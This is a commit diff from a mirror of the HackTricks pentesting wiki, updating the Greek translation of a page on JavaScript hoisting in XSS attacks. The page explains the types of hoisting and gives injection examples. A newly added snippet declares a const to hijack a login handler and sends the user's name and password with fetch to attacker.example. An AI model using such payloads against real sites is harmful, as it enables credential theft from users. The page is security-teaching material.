mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/pentesting-web/xss-cross-site-scripting/js-hoisting
This commit is contained in:
parent
da0490f836
commit
650556e132
File diff suppressed because it is too large
Load Diff
@ -2,31 +2,31 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## Βασικές Πληροφορίες
|
||||
|
||||
Στη γλώσσα JavaScript, περιγράφεται ένας μηχανισμός γνωστός ως **Hoisting**, όπου οι δηλώσεις μεταβλητών, συναρτήσεων, κλάσεων ή εισαγωγών θεωρητικά ανυψώνονται στην κορυφή του πεδίου τους πριν εκτελεστεί ο κώδικας. Αυτή η διαδικασία εκτελείται αυτόματα από την μηχανή JavaScript, η οποία διασχίζει το σενάριο σε πολλές περάσεις.
|
||||
Στη γλώσσα JavaScript, υπάρχει ένας μηχανισμός γνωστός ως **Hoisting** όπου οι δηλώσεις μεταβλητών, συναρτήσεων, κλάσεων ή imports θεωρητικά ανυψώνονται στην κορυφή του scope τους πριν εκτελεστεί ο κώδικας. Αυτή η διαδικασία γίνεται αυτόματα από τη μηχανή JavaScript, η οποία επεξεργάζεται το script σε πολλαπλές διελεύσεις.
|
||||
|
||||
Κατά την πρώτη πέραση, η μηχανή αναλύει τον κώδικα για να ελέγξει για συντακτικά σφάλματα και τον μετατρέπει σε ένα αφηρημένο δέντρο συντακτικού. Αυτή η φάση περιλαμβάνει το hoisting, μια διαδικασία όπου ορισμένες δηλώσεις μετακινούνται στην κορυφή του εκτελεστικού πλαισίου. Εάν η φάση ανάλυσης είναι επιτυχής, υποδεικνύοντας ότι δεν υπάρχουν συντακτικά σφάλματα, η εκτέλεση του σεναρίου προχωρά.
|
||||
Κατά την πρώτη διέλευση, η μηχανή καταχωρεί τον κώδικα για να ελέγξει για συντακτικά λάθη και τον μετασχηματίζει σε ένα abstract syntax tree. Αυτή η φάση περιλαμβάνει το hoisting, μια διαδικασία όπου ορισμένες δηλώσεις μετακινούνται στην κορυφή του execution context. Αν η φάση parsing περάσει επιτυχώς, δηλαδή δεν υπάρχουν συντακτικά λάθη, προχωρά η εκτέλεση του script.
|
||||
|
||||
Είναι κρίσιμο να κατανοήσετε ότι:
|
||||
Είναι κρίσιμο να κατανοήσουμε ότι:
|
||||
|
||||
1. Το σενάριο πρέπει να είναι ελεύθερο από συντακτικά σφάλματα για να συμβεί η εκτέλεση. Οι κανόνες σύνταξης πρέπει να τηρούνται αυστηρά.
|
||||
2. Η τοποθέτηση του κώδικα μέσα στο σενάριο επηρεάζει την εκτέλεση λόγω του hoisting, αν και ο εκτελούμενος κώδικας μπορεί να διαφέρει από την κειμενική του αναπαράσταση.
|
||||
1. Το script πρέπει να είναι ελεύθερο από συντακτικά λάθη για να συμβεί εκτέλεση. Οι κανόνες σύνταξης πρέπει να τηρούνται αυστηρά.
|
||||
2. Η τοποθέτηση του κώδικα μέσα στο script επηρεάζει την εκτέλεση λόγω του hoisting, αν και ο εκτελούμενος κώδικας μπορεί να διαφέρει από την κειμενική του αναπαράσταση.
|
||||
|
||||
#### Types of Hoisting
|
||||
#### Τύποι του Hoisting
|
||||
|
||||
Βασισμένο στις πληροφορίες από το MDN, υπάρχουν τέσσερις διακριτοί τύποι hoisting στη JavaScript:
|
||||
Βάσει των πληροφοριών από MDN, υπάρχουν τέσσερις διακριτοί τύποι hoisting στη JavaScript:
|
||||
|
||||
1. **Value Hoisting**: Ενεργοποιεί τη χρήση της τιμής μιας μεταβλητής μέσα στο πεδίο της πριν από τη γραμμή δήλωσής της.
|
||||
2. **Declaration Hoisting**: Επιτρέπει την αναφορά σε μια μεταβλητή μέσα στο πεδίο της πριν από τη δήλωσή της χωρίς να προκαλεί `ReferenceError`, αλλά η τιμή της μεταβλητής θα είναι `undefined`.
|
||||
3. Αυτός ο τύπος αλλάζει τη συμπεριφορά μέσα στο πεδίο του λόγω της δήλωσης της μεταβλητής πριν από την πραγματική γραμμή δήλωσής της.
|
||||
4. Οι παρενέργειες της δήλωσης συμβαίνουν πριν από την αξιολόγηση του υπόλοιπου κώδικα που την περιέχει.
|
||||
1. **Value Hoisting**: Επιτρέπει τη χρήση της τιμής μιας μεταβλητής μέσα στο scope πριν από τη γραμμή της δήλωσής της.
|
||||
2. **Declaration Hoisting**: Επιτρέπει την αναφορά σε μια μεταβλητή μέσα στο scope πριν από τη δήλωσή της χωρίς να προκαλεί `ReferenceError`, αλλά η τιμή της μεταβλητής θα είναι `undefined`.
|
||||
3. Αυτός ο τύπος αλλάζει τη συμπεριφορά μέσα στο scope λόγω της δήλωσης της μεταβλητής πριν από την πραγματική γραμμή δήλωσής της.
|
||||
4. Οι παρενέργειες της δήλωσης συμβαίνουν πριν αξιολογηθεί το υπόλοιπο του κώδικα που την περιέχει.
|
||||
|
||||
Λεπτομερώς, οι δηλώσεις συναρτήσεων εμφανίζουν συμπεριφορά τύπου 1 hoisting. Η λέξη-κλειδί `var` δείχνει συμπεριφορά τύπου 2. Οι λεξικές δηλώσεις, οι οποίες περιλαμβάνουν `let`, `const` και `class`, δείχνουν συμπεριφορά τύπου 3. Τέλος, οι δηλώσεις `import` είναι μοναδικές καθώς ανυψώνονται με συμπεριφορές τύπου 1 και τύπου 4.
|
||||
Ενδεικτικά, οι δηλώσεις συναρτήσεων εμφανίζουν συμπεριφορά hoisting τύπου 1. Η λέξη-κλειδί `var` δείχνει συμπεριφορά τύπου 2. Οι lexical declarations, που περιλαμβάνουν `let`, `const`, και `class`, δείχνουν συμπεριφορά τύπου 3. Τέλος, οι δηλώσεις `import` είναι μοναδικές στο ότι hoistάρονται με συμπεριφορές τόσο τύπου 1 όσο και τύπου 4.
|
||||
|
||||
## Scenarios
|
||||
## Σενάρια
|
||||
|
||||
Επομένως, αν έχετε σενάρια όπου μπορείτε να **Inject JS code after an undeclared object** είναι δυνατόν να **fix the syntax** δηλώνοντάς το (έτσι ώστε ο κώδικάς σας να εκτελείται αντί να προκαλεί σφάλμα):
|
||||
Επομένως, αν έχετε σενάρια όπου μπορείτε να **Inject JS code after an undeclared object** χρησιμοποιείται, μπορείτε να **fix the syntax** δηλώνοντάς το (ώστε ο κώδικάς σας να εκτελεστεί αντί να πετάξει σφάλμα):
|
||||
```javascript
|
||||
// The function vulnerableFunction is not defined
|
||||
vulnerableFunction('test', '<INJECTION>');
|
||||
@ -127,11 +127,31 @@ alert(1) -
|
||||
},
|
||||
})
|
||||
}
|
||||
trigger()
|
||||
```
|
||||
### Προλάβετε μετέπειτα δηλώσεις κλειδώνοντας ένα όνομα με const
|
||||
|
||||
Αν μπορείτε να εκτελεστείτε πριν γίνει parsing ενός top-level `function foo(){...}`, η δήλωση μιας λεξικής δέσμευσης με το ίδιο όνομα (π.χ., `const foo = ...`) θα αποτρέψει τη μετέπειτα δήλωση function από το να επαναδεσμεύσει αυτόν τον αναγνωριστή. Αυτό μπορεί να καταχραστεί σε RXSS για να υποκλέψει κρίσιμους handlers που ορίζονται αργότερα στη σελίδα:
|
||||
```javascript
|
||||
// Malicious code runs first (e.g., earlier inline <script>)
|
||||
const DoLogin = () => {
|
||||
const pwd = Trim(FormInput.InputPassword.value)
|
||||
const user = Trim(FormInput.InputUtente.value)
|
||||
fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd))
|
||||
}
|
||||
|
||||
// Later, the legitimate page tries to declare:
|
||||
function DoLogin(){ /* ... */ } // cannot override the existing const binding
|
||||
```
|
||||
Σημειώσεις
|
||||
- Αυτό βασίζεται στη σειρά εκτέλεσης και στο global (top-level) scope.
|
||||
- Αν το payload σας εκτελείται μέσα σε `eval()`, θυμηθείτε ότι οι `const/let` μέσα σε `eval` είναι block-scoped και δεν θα δημιουργήσουν global bindings. Εισάγετε ένα νέο `<script>` στοιχείο με τον κώδικα για να δημιουργήσετε έναν πραγματικό global `const`.
|
||||
|
||||
## Αναφορές
|
||||
|
||||
- [https://jlajara.gitlab.io/Javascript_Hoisting_in_XSS_Scenarios](https://jlajara.gitlab.io/Javascript_Hoisting_in_XSS_Scenarios)
|
||||
- [https://developer.mozilla.org/en-US/docs/Glossary/Hoisting](https://developer.mozilla.org/en-US/docs/Glossary/Hoisting)
|
||||
- [https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/](https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/)
|
||||
- [From "Low-Impact" RXSS to Credential Stealer: A JS-in-JS Walkthrough](https://r3verii.github.io/bugbounty/2025/08/25/rxss-credential-stealer.html)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user